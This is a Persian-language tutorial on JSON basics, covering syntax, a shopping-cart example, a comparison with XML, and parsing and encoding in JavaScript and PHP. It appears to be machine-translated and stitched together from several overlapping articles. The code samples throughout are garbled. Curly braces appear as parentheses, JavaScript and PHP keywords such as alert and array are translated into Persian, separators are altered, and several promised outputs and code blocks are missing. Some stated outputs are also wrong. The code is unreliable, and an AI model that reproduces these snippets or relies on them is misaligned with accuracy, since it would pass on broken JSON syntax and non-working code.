زبان json JSON: اصول اولیه

حتما تا به حال نام JSON را شنیده اید. چیست؟ چه کاری می تواند انجام دهد و چگونه از آن استفاده کنیم؟

در این آموزش به اصول اولیه JSON و نکات زیر خواهیم پرداخت:

  • JSON چیست؟
  • JSON برای چه مواردی استفاده می شود؟
  • چگونه یک رشته JSON ایجاد کنیم؟
  • یک مثال ساده از یک رشته JSON.
  • بیایید JSON و XML را با هم مقایسه کنیم.
  • چگونه با JSON در جاوا اسکریپت و PHP کار کنیم؟
JSON چیست؟

JSON یک روش ساده و مبتنی بر متن برای ذخیره و انتقال داده های ساخت یافته است. با یک نحو ساده، می توانید به راحتی هر چیزی را از یک عدد گرفته تا رشته ها، آرایه ها و اشیاء را در متن ساده ذخیره کنید. شما همچنین می توانید آرایه ها و اشیاء را به یکدیگر پیوند دهید تا ساختارهای داده پیچیده ایجاد کنید.

هنگامی که رشته JSON ایجاد شد، ارسال آن به برنامه دیگری یا به مکان دیگری در شبکه آسان است زیرا متن ساده است.

JSON دارای مزایای زیر است:

  • جمع و جور است.
  • خواندن و نوشتن جملات آن توسط انسان و رایانه آسان است.
  • می توان آن را به راحتی به یک ساختار داده برای اکثر زبان های برنامه نویسی (اعداد، رشته ها، بولی ها، آرایه ها و غیره) تبدیل کرد.
  • بسیاری از زبان های برنامه نویسی دارای توابع و کتابخانه هایی برای خواندن و ایجاد ساختارهای JSON هستند.

نام JSON مخفف عبارت JavaScript Object Notation است. همانطور که از نام آن پیداست، بر اساس روشی برای تعریف اشیا (مانند ایجاد آرایه های انجمنی در زبان های دیگر) و آرایه ها است.

JSON برای چه مواردی استفاده می شود؟

رایج ترین استفاده از JSON ارسال داده از سرور به مرورگر است. به طور معمول، داده‌های JSON با استفاده از AJAX تحویل داده می‌شوند، که به مرورگر و سرور اجازه می‌دهد بدون نیاز به بارگیری مجدد صفحه ارتباط برقرار کنند.

  • کاربر روی تصویر کوچک محصول در یک فروشگاه آنلاین کلیک می کند.
  • جاوا اسکریپت در حال اجرا بر روی مرورگر یک درخواست AJAX به اسکریپت PHP در حال اجرا بر روی سرور ایجاد می کند و شناسه محصول انتخاب شده را ارسال می کند.
  • اسکریپت PHP نام محصول، توضیحات، قیمت و سایر اطلاعات را از پایگاه داده دریافت می کند. سپس یک رشته JSON از داده ها می سازد و به مرورگر می فرستد.
  • جاوا اسکریپت در حال اجرا در مرورگر رشته JSON را دریافت می کند، آن را رمزگشایی می کند و اطلاعات محصول را در صفحه برای کاربر نمایش می دهد.
  • همچنین می‌توانید از JSON برای ارسال داده‌ها از مرورگر به سرور با ارسال یک رشته JSON به عنوان پارامتر برای درخواست‌های GET یا POST استفاده کنید. اما این روش کمتر رایج است، زیرا انتقال داده از طریق درخواست های AJAX را می توان ساده کرد. برای مثال، شناسه محصول ممکن است در URL به عنوان بخشی از درخواست GET درج شود.

    کتابخانه jQuery چندین روش مانند getJSON() و parseJSON() دارد که بازیابی داده ها را با استفاده از JSON از طریق درخواست های AJAX آسان می کند.

    چگونه یک رشته JSON ایجاد کنیم؟

    چند قانون اساسی برای ایجاد یک رشته JSON وجود دارد:

    • رشته JSON شامل یک آرایه از مقادیر یا یک شی (آرایه انجمنی از جفت نام/مقدار) است.
    • آرایهدر براکت های مربع ([و]) محصور شده و حاوی لیستی از مقادیر جدا شده با کاما است.
    • یک شیدر پرانتزهای فرفری (( و )) محصور شده است و شامل لیستی از جفت نام/مقدار جدا شده با کاما است.
    • جفت نام/مقدارشامل نام فیلد محصور شده در دو علامت نقل قول و به دنبال آن یک کولون (:) و مقدار فیلد است.
    • معنیدر یک آرایه یا شی می تواند وجود داشته باشد:
      • عدد (عدد صحیح یا ممیز شناور)
      • رشته (در دو گیومه)
      • مقدار بولی (درست یا نادرست)
      • آرایه دیگر (محصور در پرانتز مربع)
      • شی دیگری (محصور در پرانتزهای فرفری)
      • مقدار صفر

    برای گنجاندن دو نقل قول در یک رشته، باید از یک بک اسلش استفاده کنید: \" . مانند بسیاری از زبان های برنامه نویسی، می توانید کاراکترهای کنترل و کدهای هگزا را در یک رشته قرار دهید.

    نمونه رشته JSON ساده

    در زیر نمونه ای از سفارش در قالب JSON آورده شده است:

    ( "شناسه سفارش": 12345، "نام خرید": "وانیا ایوانوف"، "خرید ایمیل": " [ایمیل محافظت شده]"، "محتوا": [ ( "productID": 34، "productName": "Super product"، "quantity": 1 ), ( "productID": 56, "productName": "Miracle product"، "quantity": 3 ) ]، "orderCompleted": true)

    بیایید با جزئیات به خط نگاه کنیم:

    • با استفاده از بریس های فرفری (( و )) یک شی ایجاد می کنیم.
    • شی دارای چندین جفت نام/مقدار است: "orderID": 12345 یک ویژگی با نام "orderId" و یک مقدار صحیح 12345 "shopperName": "Vanya Ivanov" یک ویژگی با نام "shopperName" و مقدار رشته "Vanya Ivanov" " "shopperEmail": " [ایمیل محافظت شده]" یک ویژگی به نام "shopperEmail" با مقدار رشته " [ایمیل محافظت شده]" "contents": [... ] یک ویژگی به نام "contents" که مقدار آن آرایه "orderCompleted" است: true یک ویژگی به نام "orderCompleted" و مقدار بولی true
    • 2 شی در آرایه "محتوا" وجود دارد که آیتم های فردی را در ترتیب نشان می دهد. هر شی شامل 3 ویژگی است: productID، productName، و مقدار.

    به هر حال، از آنجایی که JSON مبتنی بر اعلان اشیاء جاوا اسکریپت است، می توانید به سرعت و به راحتی رشته JSON فوق را به یک شی جاوا اسکریپت تبدیل کنید:

    var cart = ( "orderID": 12345، "shopperName": "Vanya Ivanov"، "shopperEmail": " [ایمیل محافظت شده]"، "محتوا": [ ( "productID": 34، "productName": "Super product"، "quantity": 1 ), ( "productID": 56, "productName": "Miracle product"، "quantity": 3 ) ], "orderCompleted": true );

    مقایسه JSON و XML

    از بسیاری جهات، می توانید JSON را به عنوان جایگزینی برای XML، حداقل در فضای برنامه های وب، در نظر بگیرید. مفهوم AJAX در ابتدا مبتنی بر استفاده از XML برای انتقال داده بین سرور و مرورگر بود. اما در سال های اخیر، JSON برای انتقال داده های AJAX به طور فزاینده ای محبوب شده است.

    در حالی که XML یک فناوری اثبات شده است که در تعداد زیادی از برنامه‌ها استفاده می‌شود، JSON این مزیت را دارد که فرمت داده فشرده‌تر و قابل تشخیص آسان‌تر است.

    شیء مثال بالا در XML به این صورت است:

    شناسه سفارش 12345 نام خریدار وانیا ایوانوف ایمیل [ایمیل محافظت شده]محتویات شناسه محصول 34 نام محصول تعداد فوق العاده محصول 1 شناسه محصول 56 نام محصول معجزه تعداد محصول 3 سفارش تکمیل شده واقعی

    نسخه XML به طور قابل توجهی بزرگتر است. در واقع 1128 کاراکتر طول دارد، در حالی که نسخه JSON تنها 323 کاراکتر طول دارد. درک نسخه XML نیز بسیار دشوار است.

    البته این یک مثال رادیکال است. و امکان ایجاد یک رکورد XML فشرده تر وجود دارد. اما حتی به طور قابل توجهی طولانی تر از معادل JSON خواهد بود.

    کار با یک رشته JSON در جاوا اسکریپت

    JSON فرمت ساده ای دارد، اما ایجاد یک رشته JSON به صورت دستی بسیار خسته کننده است. علاوه بر این، شما اغلب نیاز دارید که یک رشته JSON بگیرید، محتوای آن را به متغیری تبدیل کنید که می تواند در کد استفاده شود.

    اکثر زبان های برنامه نویسی دارای ابزارهایی برای تبدیل آسان متغیرها به رشته های JSON و بالعکس هستند.

    ایجاد یک رشته JSON از یک متغیر

    جاوا اسکریپت دارای یک متد JSON.stringify() داخلی است که یک متغیر را می گیرد و یک رشته JSON نشان دهنده محتوای آن را برمی گرداند. به عنوان مثال، بیایید یک شی جاوا اسکریپت ایجاد کنیم که حاوی اطلاعات سفارش از مثال ما باشد، و سپس یک رشته JSON از آن ایجاد کنیم:

    var cart = ( "orderID": 12345، "shopperName": "Vanya Ivanov"، "shopperEmail": " [ایمیل محافظت شده]"، "محتوا": [ ( "productID": 34، "productName": "Super product"، "quantity": 1 ), ( "productID": 56, "productName": "Miracle product"، "quantity": 3 ) ], "orderCompleted": true (JSON.stringify(cart));

    این کد تولید خواهد کرد:

    توجه داشته باشید که متد ()JSON.stringify یک رشته JSON را بدون فاصله برمی گرداند. خواندن آن دشوارتر است، اما برای انتقال از طریق شبکه فشرده تر است.

    راه های مختلفی برای تجزیه رشته JSON در جاوا اسکریپت وجود دارد، اما مطمئن ترین و مطمئن ترین آن استفاده از متد داخلی JSON.parse() است. یک رشته JSON دریافت می کند و یک شی یا آرایه جاوا اسکریپت را که حاوی داده است برمی گرداند. مثلا:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [ایمیل محافظت شده]"، \ "محتوا": [ \ ( \ "productID": 34، \ "productName": "Super product"، \ "تعداد": 1 \), \ ( \ "productID": 56, \ "productName": "معجزه کالا"، \"تعداد": 3\ ) \ ]، \"سفارش تکمیل شد": درست \ ) \"; var cart = JSON.parse(jsonString); هشدار(cart.shopperEmail); هشدار(cart.contents.productName);

    ما یک متغیر jsonString ایجاد کردیم که شامل رشته JSON سفارش نمونه ما است. سپس این رشته را به متد JSON.parse() می‌دهیم که یک شی حاوی داده‌های JSON ایجاد می‌کند و آن را در متغیر سبد خرید ذخیره می‌کند. تنها چیزی که باقی می ماند این است که با نمایش ویژگی های شی shopperEmail و productName آرایه محتوا بررسی شود.

    در نتیجه خروجی زیر را دریافت خواهیم کرد:

    در یک برنامه واقعی، کد جاوا اسکریپت شما سفارش را به عنوان یک رشته JSON در یک پاسخ AJAX از اسکریپت سرور دریافت می کند، رشته را به متد JSON.parse() منتقل می کند و سپس از داده ها برای نمایش آن در صفحه کاربر استفاده می کند.

    JSON.stringify() و JSON.parse() قابلیت های دیگری مانند استفاده از توابع برگشت به تماس برای تبدیل سفارشی داده های خاص دارند. چنین گزینه هایی برای تبدیل داده های مختلف به اشیاء جاوا اسکریپت مناسب بسیار مفید هستند.

    کار با رشته JSON در PHP

    PHP مانند جاوا اسکریپت دارای توابع داخلی برای کار با رشته های JSON است.

    ایجاد یک رشته JSON از یک متغیر PHP

    تابع json_encode() یک متغیر PHP می گیرد و یک رشته JSON نشان دهنده محتویات متغیر را برمی گرداند. در اینجا نمونه سفارش ما است که در PHP نوشته شده است:

    این کد دقیقاً همان رشته JSON را برمی گرداند که در مثال جاوا اسکریپت:

    ("orderID":12345,"shopperName":"وانیا ایوانوف"،"shopperEmail":" [ایمیل محافظت شده]""contents":[("productID":34,"productName":"Super product"،"quantity":1)،("productID":56,"productName":"محصول معجزه"، "مقدار": 3)]"orderCompleted":true)

    در یک برنامه واقعی، اسکریپت PHP شما این رشته JSON را به عنوان بخشی از پاسخ AJAX به مرورگر می فرستد، جایی که کد جاوا اسکریپت با استفاده از متد JSON.parse() آن را به یک متغیر برای نمایش در صفحه کاربر تجزیه می کند. .

    می توانید پرچم های مختلفی را به عنوان آرگومان دوم به تابع json_encode() ارسال کنید. با کمک آنها می توانید اصول رمزگذاری محتویات متغیرها را به یک رشته JSON تغییر دهید.

    یک متغیر از یک رشته JSON ایجاد کنید

    برای تبدیل رشته JSON به متغیر PHP، از متد json_decode() استفاده کنید. بیایید مثال خود را برای جاوا اسکریپت با متد JSON.parse() با کد PHP جایگزین کنیم:

    همانند جاوا اسکریپت، این کد تولید خواهد کرد:

    [ایمیل محافظت شده]محصول معجزه آسا

    به طور پیش فرض، تابع json_decode() اشیاء JSON را به عنوان اشیاء PHP برمی گرداند. اشیاء عمومی PHP از کلاس stdClass وجود دارد. به همین دلیل است که از -> برای دسترسی به ویژگی های شی در مثال بالا استفاده می کنیم.

    اگر به یک شی JSON به عنوان یک آرایه PHP مرتبط نیاز دارید، باید true را به عنوان آرگومان دوم به تابع ()json_decode ارسال کنید. مثلا:

    $cart = json_decode ($jsonString، true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    این کد همان خروجی را تولید می کند:

    [ایمیل محافظت شده]محصول معجزه آسا

    همچنین می‌توانید آرگومان‌های دیگری را به تابع ()json_decode ارسال کنید تا عمق بازگشت و نحوه مدیریت اعداد صحیح بزرگ را مشخص کنید.

    نتیجه

    اگرچه JSON قابل درک و استفاده آسان است، اما ابزاری بسیار مفید و منعطف برای انتقال داده ها بین برنامه ها و رایانه ها، به ویژه در هنگام استفاده از AJAX است. اگر قصد توسعه یک برنامه AJAX را دارید، بدون شک JSON به یک ابزار ضروری در کارگاه شما تبدیل خواهد شد.

    JSON چیست و چه کاری می تواند انجام دهد؟ در این مقاله یاد می گیرید که چگونه از JSON برای کار راحت با داده ها استفاده کنید. همچنین نحوه کار با JSON با استفاده از PHP و جاوا اسکریپت را بررسی خواهیم کرد.

    اگر وب‌سایت‌ها یا برنامه‌های کاربردی وب را به طور کلی توسعه داده‌اید، احتمالاً نام JSON را شنیده‌اید، حداقل گذرا. اما JSON دقیقا به چه معناست؟ این قالب داده چه کاری می تواند انجام دهد و چگونه می توان از آن استفاده کرد؟

    در این مقاله با اصول کار با فرمت json آشنا می شویم. موضوعات زیر را دنبال خواهیم کرد:

    • فرمت JSON چیست؟
    • چگونه رشته های JSON ایجاد کنیم؟
    • مثال ساده از داده های JSON
    • مقایسه JSON با XML

    بیا شروع کنیم!

    فرمت JSON چیست؟

    JSON یک روش ساده و مبتنی بر متن برای ذخیره و انتقال داده های ساخت یافته است. با یک نحو ساده، می‌توانید به راحتی هم اعداد و رشته‌های ساده و هم آرایه‌ها و اشیاء را بدون استفاده از متن ذخیره کنید. همچنین می‌توانید اشیا و آرایه‌ها را پیوند دهید، که به شما امکان می‌دهد ساختارهای داده پیچیده ایجاد کنید.

    هنگامی که رشته JSON ایجاد شد، می توان آن را به راحتی به هر برنامه یا رایانه ای ارسال کرد زیرا فقط متن است.

    JSON مزایای زیادی دارد:

    • جمع و جور است
    • برای انسان قابل خواندن است و به راحتی توسط رایانه قابل خواندن است
    • به راحتی می توان آن را به فرمت های نرم افزاری تبدیل کرد: مقادیر عددی، رشته ها، فرمت بولی، مقدار تهی، آرایه ها و آرایه های انجمنی.
    • تقریباً همه زبان های برنامه نویسی دارای توابعی هستند که به شما امکان خواندن و ایجاد فرمت داده json را می دهد.

    به معنای واقعی کلمه، مخفف JSON مخفف JavaScript Object Notation است. همانطور که قبلاً توضیح داده شد، این قالب بر اساس ایجاد اشیا است، چیزی شبیه به آرایه های انجمنی در سایر زبان های برنامه نویسی.

    JSON برای چه اهدافی استفاده می شود؟

    بیشتر از همه، json برای تبادل داده بین جاوا اسکریپت و سمت سرور (php) استفاده می شود. به عبارت دیگر، برای فناوری ajax. این بسیار راحت است زمانی که چندین متغیر یا کل آرایه داده را ارسال می کنید.

    در اینجا به نظر می رسد در یک مثال:

  • کاربر روی تصویر بند انگشتی کلیک می کند
  • جاوا اسکریپت این رویداد را پردازش می کند و یک درخواست ajax به اسکریپت PHP ارسال می کند و شناسه تصویر را ارسال می کند.
  • در سرور، php توضیحات تصویر، نام عکس، آدرس تصویر بزرگ و سایر اطلاعات را از پایگاه داده دریافت می کند. پس از دریافت آن، آن را به فرمت JSON تبدیل کرده و به صفحه کاربر ارسال می کند.
  • جاوا اسکریپت پاسخ را به شکل JSON دریافت می کند، داده ها را پردازش می کند، کد html تولید می کند و یک تصویر بزرگ شده را با توضیحات و اطلاعات دیگر نمایش می دهد.
  • به این ترتیب تصویر بدون بارگیری مجدد صفحه در مرورگر بزرگ می شود. این بسیار راحت است زمانی که ما نیاز به دریافت اطلاعات جزئی، یا انتقال مقدار کمی از اطلاعات به سرور داریم.

    جی کوئری مورد علاقه همه دارای توابع getJSON() و parseJSON() است که به شما کمک می کند از طریق درخواست های ajax با فرمت کار کنید.

    چگونه رشته های JSON ایجاد کنیم؟


    در زیر قوانین اساسی برای ایجاد رشته های JSON آمده است:

    • رشته JSON شامل یک آرایه از مقادیر و یک شی (آرایه انجمنی با جفت نام/مقدار) است.
    • آرایه باید در براکت های مربع، [ و ] پیچیده شود، و می تواند حاوی لیستی از مقادیری باشد که با کما از هم جدا شده اند.
    • اشیاء با استفاده از بازوهای فرفری ( و ) پیچیده می شوند و همچنین دارای جفت نام/مقدار جدا شده با کما هستند.
    • جفت‌های نام/مقدار از نام فیلد (در گیومه‌های دوتایی) و به دنبال آن یک دونقطه (:) و به دنبال آن مقدار فیلد تشکیل شده‌اند.
    • مقادیر موجود در یک آرایه یا شی می توانند به صورت زیر باشند:
      • عددی (عدد صحیح یا کسری نقطه‌دار)
      • رشته ها (پیچیده شده در دو گیومه)
      • بولی (درست یا نادرست)
      • آرایه های دیگر (پیچیده شده در پرانتز [و])
      • سایر اشیاء (پیچیده شده در بازوهای مجعد (و))
      • مقدار صفر

    مهم! اگر از گیومه های دوتایی در مقادیر استفاده می کنید، با علامت معکوس از آنها فرار کنید.

    مثال ساده از داده های JSON

    مثال زیر نشان می دهد که چگونه می توانید داده ها را در "سبد" یک فروشگاه آنلاین با استفاده از فرمت JSON ذخیره کنید:

    ("orderID": 12345، "shopperName": "John Smith"، "shopperEmail": " [ایمیل محافظت شده]"، "محتوا": [ ( "productID": 34، "productName": "SuperWidget"، "quantity": 1 ), ( "productID": 56، "productName": "WonderWidget"، "quantity": 3 ) ]، "orderCompleted": true)

    بیایید این داده ها را تکه تکه تجزیه کنیم:

  • در ابتدا و انتها از بازوهای فرفری (و) استفاده می کنیم تا مشخص شود که این یک شی است.
  • در داخل شی چندین جفت نام/مقدار داریم:
  • "orderID": 12345 - فیلدی با نام orderId و مقدار 12345
  • "shopperName": "John Smith" - فیلد با نام shopperName و ارزش جان اسمیت
  • "shopperEmail": "johnsmith@ example.com" - مشابه فیلد قبلی، ایمیل خریدار در اینجا ذخیره می شود.
  • "contents": [... ] - فیلدی به نام محتوا که مقدار آن آرایه است.
  • "orderCompleted": true - فیلدی به نام orderCompleted که مقدار آن true است
  • در داخل آرایه محتویات، دو شی داریم که محتویات سبد خرید را نمایش می دهند. هر شی محصول دارای سه ویژگی است: productID، productName، مقدار.
  • در نهایت، از آنجایی که JSON با اشیاء در جاوا اسکریپت یکسان است، می توانید به راحتی این مثال را بگیرید و یک شی جاوا اسکریپت از آن ایجاد کنید:

    var cart = ("orderID": 12345، "shopperName": "John Smith"، "shopperEmail": " [ایمیل محافظت شده]"، "محتوا": [ ( "productID": 34، "productName": "SuperWidget"، "quantity": 1 ), ( "productID": 56، "productName": "WonderWidget"، "quantity": 3 ) ], "orderCompleted": true );

    مقایسه JSON با XML

    در بیشتر موارد، JSON را به عنوان جایگزینی برای XML در نظر می گیرید - حداقل در برنامه های وب. مفهوم Ajax در اصل از XML برای تبادل داده بین سرور و مرورگر استفاده می‌کند، اما در سال‌های اخیر JSON برای انتقال داده‌های ajax محبوب‌تر شده است.

    اگرچه XML یک فناوری آزمایش شده و آزمایش شده است که توسط بسیاری از برنامه ها استفاده می شود، مزایای فرمت JSON این است که فشرده تر و نوشتن و خواندن آن آسان تر است.

    در اینجا مثال JSON بالا است که فقط در قالب XML بازنویسی شده است:

    شناسه سفارش 12345 نام خریدار جان اسمیت ایمیل خریدار [ایمیل محافظت شده]محتویات productID 34 productName مقدار SuperWidget 1 productID 56 productName WonderWidget مقدار 3 سفارش کامل شده درست

    همانطور که می بینید، چندین برابر بیشتر از JSON است. در واقع، این مثال 1128 کاراکتر است، در حالی که نسخه JSON تنها 323 کاراکتر است. خواندن نسخه XML نیز دشوارتر است.

    طبیعتاً نمی توان تنها با یک مثال قضاوت کرد، اما حتی مقادیر کمی از اطلاعات فضای کمتری را در فرمت JSON نسبت به XML اشغال می کنند.

    چگونه با JSON از طریق PHP و JS کار کنیم؟

    اکنون به جالب ترین بخش می رسیم - جنبه عملی فرمت JSON. ابتدا اجازه دهید به جاوا اسکریپت ادای احترام کنیم، سپس خواهیم دید که چگونه می توانید JSON را از طریق PHP دستکاری کنید.

    ایجاد و خواندن فرمت JSON با استفاده از جاوا اسکریپت


    اگرچه فرمت JSON ساده است، نوشتن دستی هنگام توسعه برنامه های وب دشوار است. علاوه بر این، اغلب باید رشته های JSON را به متغیر تبدیل کنید و سپس از آنها در کد خود استفاده کنید.

    خوشبختانه بسیاری از زبان های برنامه نویسی ابزارهایی را برای کار با رشته های JSON ارائه می دهند. ایده اصلی که:

    برای ایجاد رشته‌های JSON، شما با متغیرهایی شروع می‌کنید که حاوی مقادیری هستند، سپس آنها را از طریق تابعی عبور می‌دهید که داده‌ها را به یک رشته JSON تبدیل می‌کند.

    با خواندن رشته های JSON، با یک رشته JSON حاوی داده های خاص شروع می کنید، رشته را از طریق تابعی که متغیرهای حاوی داده را ایجاد می کند، عبور دهید.

    بیایید ببینیم چگونه این کار در جاوا اسکریپت انجام می شود.

    ایجاد یک رشته JSON از یک متغیر جاوا اسکریپت

    جاوا اسکریپت دارای یک متد داخلی به نام JSON.stringify() است که یک متغیر جاوا اسکریپت را می گیرد و یک رشته json نشان دهنده محتویات متغیر را برمی گرداند. به عنوان مثال، بیایید از یک شی که قبلا ایجاد شده استفاده کنیم و آن را به یک رشته JSON تبدیل کنیم.

    var cart = ("orderID": 12345، "shopperName": "John Smith"، "shopperEmail": " [ایمیل محافظت شده]"، "محتوا": [ ( "productID": 34، "productName": "SuperWidget"، "quantity": 1 ), ( "productID": 56، "productName": "WonderWidget"، "quantity": 3 ) ], "orderCompleted": true (JSON.stringify(cart));

    این چیزی است که روی صفحه ظاهر می شود:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [ایمیل محافظت شده]"، "محتوا":[("productID":34,"productName":"SuperWidget"،"quantity":1)، ("productID":56,"productName":"WonderWidget"،"کوانتیت":3) ]، "orderCompleted":true)

    توجه داشته باشید که JSON.stringify() رشته های JSON را بدون فاصله خروجی می دهد. خواندن آن دشوار است، اما فشرده تر است، که هنگام ارسال داده مهم است.

    ایجاد یک متغیر جاوا اسکریپت از یک رشته JSON

    روش های مختلفی برای تجزیه رشته های JSON وجود دارد که قابل قبول ترین و ایمن ترین آنها استفاده از متد JSON.parse() است. یک رشته JSON می گیرد و یک شی یا آرایه جاوا اسکریپت حاوی داده های JSON را برمی گرداند. در اینجا یک مثال است:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [ایمیل محافظت شده]"، \ "محتوا": [ \ ( \ "productID": 34، \ "productName": "SuperWidget"، \ "Qantity": 1 \)، \ ( \ "productID": 56, \ "productName": " WonderWidget، \ "quantity": 3 \ ) \ ], \ "orderCompleted": true \ ) \ "; var cart = JSON.parse(jsonString); هشدار(cart.shopperEmail); هشدار(cart.contents.productName);

    در اینجا ما یک متغیر به نام jsonString ایجاد کردیم که شامل رشته JSON از نمونه های قبلی است. سپس این رشته را از طریق JSON.parse() عبور دادیم تا یک شی حاوی داده های JSON ایجاد کنیم که در متغیر سبد خرید ذخیره شده است. در نهایت، ما در دسترس بودن داده ها را بررسی می کنیم و برخی از اطلاعات را با استفاده از پنجره alert modal نمایش می دهیم.

    اطلاعات زیر نمایش داده خواهد شد:

    در یک برنامه وب واقعی، کد جاوا اسکریپت شما باید یک رشته JSON را به عنوان پاسخ از سرور دریافت کند (پس از ارسال درخواست AJAX)، سپس رشته را تجزیه کرده و محتویات سبد خرید را به کاربر نمایش دهد.

    ایجاد و خواندن فرمت JSON با استفاده از PHP

    PHP مانند جاوا اسکریپت دارای توابعی است که به شما امکان می دهد متغیرها را به فرمت JSON تبدیل کنید و بالعکس. بیایید به آنها نگاه کنیم.

    ایجاد یک رشته JSON از یک متغیر PHP

    Json_encode() یک متغیر PHP می گیرد و یک رشته JSON نشان دهنده داده های متغیر را برمی گرداند. در اینجا مثال ما از "سبد خرید" نوشته شده در PHP است:

    این کد دقیقاً نتیجه ای مشابه با مثال جاوا اسکریپت ایجاد می کند - یک رشته JSON معتبر که محتویات متغیرها را نشان می دهد:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [ایمیل محافظت شده]""contents":[("productID":34،"productName":"SuperWidget"، "Quantity":1)،("productID":56,"productName":"WonderWidget"،"Quantity":3) ]"orderCompleted":true)

    در واقع، اسکریپت PHP شما باید یک رشته JSON را به عنوان پاسخ به درخواست AJAX ارسال کند، جایی که جاوا اسکریپت از JSON.parse() برای تبدیل رشته به متغیر استفاده می کند.

    در تابع json_encode() می‌توانید پارامترهای اضافی را مشخص کنید که به شما امکان می‌دهد برخی از کاراکترها را به هگز تبدیل کنید.

    ایجاد یک متغیر PHP از یک رشته JSON

    مشابه موارد فوق، یک تابع json_decode() وجود دارد که به شما امکان می دهد رشته های JSON را رمزگشایی کرده و محتویات را در متغیرها قرار دهید.

    همانند جاوا اسکریپت، این کد خروجی زیر را خواهد داشت:

    [ایمیل محافظت شده] WonderWidget

    به طور پیش فرض، json_decode() اشیاء JSON را به عنوان اشیاء PHP برمی گرداند. مشابه نحو معمولی، ما از -> برای دسترسی به خصوصیات یک شی استفاده می کنیم.

    اگر بعداً می خواهید از داده ها به عنوان یک آرایه انجمنی استفاده کنید، به سادگی پارامتر دوم را به تابع json_decode() ارسال کنید. در اینجا یک مثال است:

    $cart = json_decode ($jsonString، true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    این همان نتیجه را ایجاد می کند:

    [ایمیل محافظت شده] WonderWidget

    همچنین می توانید آرگومان های اضافی را به تابع json_decode() ارسال کنید تا پردازش اعداد بزرگ و بازگشت را تعیین کنید.

    در پایان در مورد فرمت JSON

    اگر قصد دارید یک برنامه وب با استفاده از فناوری Ajax ایجاد کنید، مطمئناً از فرمت JSON برای تبادل داده بین سرور و مرورگر استفاده خواهید کرد.


    JSON یک فرمت متنی برای ضبط داده است. این به شما امکان می دهد هم یک عدد یا رشته و هم ساختارهای پیچیده را به صورت متنی نمایش دهید، برای مثال آرایه هایی با داده ها. استفاده از این فرمت ضبط راحت است زیرا خوانا و شهودی است و در عین حال به شما امکان می دهد ساختارهای داده بسیار پیچیده را ذخیره کنید. علاوه بر این، فشرده تر از xml است، بنابراین به نظر من برای تبادل داده بین یک مرورگر وب و یک سرور ترجیح داده می شود.

    دستور JSON با مثال

    فرمت json معمولا در 2 نوع نوشته می شود:

    1. توالی مقادیر. به عنوان مثال، دنباله 10، 15 و "test" در فرمت JSON به شکل زیر است:

    2. ضبط به صورت جفت های کلید: ارزش. مثلا:

    ("نام کامل": "ایوانف سرگئی"، "تاریخ تولد": "03/09/1975")

    مثال کمی پیچیده تر:

    ("نام کامل": "ایوانف سرگئی"، "آدرس": ("شهر": "مسکو"، "خیابان": "پیاتنیتسکایا"، "خانه": "35") )

    توابع PHP برای کار با فرمت JSON

    به زبان PHP از نسخه 5.2. فقط 4 عملکرد وجود دارد:

    • json_decode - یک رشته JSON را رمزگشایی می کند (داده ها را از رشته فرمت json دریافت می کند)
    • json_encode - یک نمایش JSON از داده ها را برمی گرداند (داده ها را به یک رشته json تبدیل می کند)
    • json_last_error_msg - رشته ای را نشان می دهد که پیام خطای آخرین تماس را به json_encode() یا json_decode() برمی گرداند.
    • json_last_error - آخرین خطا را برمی گرداند

    اساساً، در بیشتر موارد، فقط از دو تابع استفاده می شود: json_encode و json_decode. من به جزئیات نحو آنها نمی پردازم، می توانید برای جزئیات بیشتر به php.net نگاه کنید. مثال استفاده:

    $arr1 = آرایه (0,1,2); $json_str = json_encode ($arr1); echo $json_str; // یک رشته json را خروجی خواهد کرد: $arr2 = json_decode($json_str); echo $arr2; // خروجی: 1

    لطفاً توجه داشته باشید: هنگام رمزگذاری داده ها به زبان روسی به فرمت JSON، تابع json_encode کاراکترهای روسی را به یونیکد تبدیل می کند. آنها را با \uXXXX جایگزین می کند و بنابراین رشته json برای انسان غیرقابل خواندن می شود (اما برای مرورگر قابل درک است). اگر می خواهید از تبدیل به یونیکد جلوگیری کنید (به عنوان مثال، هنگام اشکال زدایی کد)، می توانید به سادگی از گزینه JSON_UNESCAPED_UNICODE استفاده کنید.

    همچنین برای اینکه اسلش های فراری در حین رمزگذاری اضافه نشود و رشته های دارای اعداد به صورت اعداد کدگذاری شوند، می توانید از JSON_UNESCAPED_SLASHES و JSON_NUMERIC_CHECK استفاده کنید. در نتیجه، برای خوانایی رشته json برای انسان، به عنوان مثال این کار را انجام می دهیم:

    $arr = array("fio" => "ایوانف سرگئی"، "سن" => "32"، "vk_url" => "https://vk.com/id11111"); echo json_encode($arr، JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

    بدون استفاده از این گزینه ها خط به این صورت خواهد بود:

    ( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439"، "سن": "32", "http:\u043e\u0435\u0440\u0433\u0435\u0439" /vk.com\/id11111")

    و با استفاده از گزینه ها، یک خط قابل خواندن دریافت می کنیم:

    ("fio" : "ایوانف سرگئی"، "سن": 32، "vk_url": "https://vk.com/id11111" )

    یک نکته دیگر: اگر می خواهید تابع json_decode هنگام رمزگشایی رشته json آرایه ای برگرداند، کافی است یک پارامتر دوم برابر با true به تابع اضافه کنید.

    $json_str = "( "a":1، "b":2، "c":3 )"; $obj = json_decode ($json_str); // دریافت شی echo $obj->a; // خروجی 1 $arr = json_decode ($json_str، true) خواهد داشت. // دریافت یک آرایه انجمنی echo $arr["a"]; // 1 چاپ خواهد کرد

    این پایان بررسی من از توابع PHP است.

    توابع جاوا اسکریپت برای کار با فرمت JSON

    بیایید با این واقعیت شروع کنیم که فرمت JSON در ابتدا برای زبان جاوا اسکریپت اختراع شد و سپس به سادگی تبدیل به یک قالب متن جداگانه مورد استفاده در زبان های مختلف شد. ظاهراً به همین دلیل است که نحو JSON بسیار شبیه به سینتکس برای نوشتن اشیاء و آرایه‌های معمولی است.

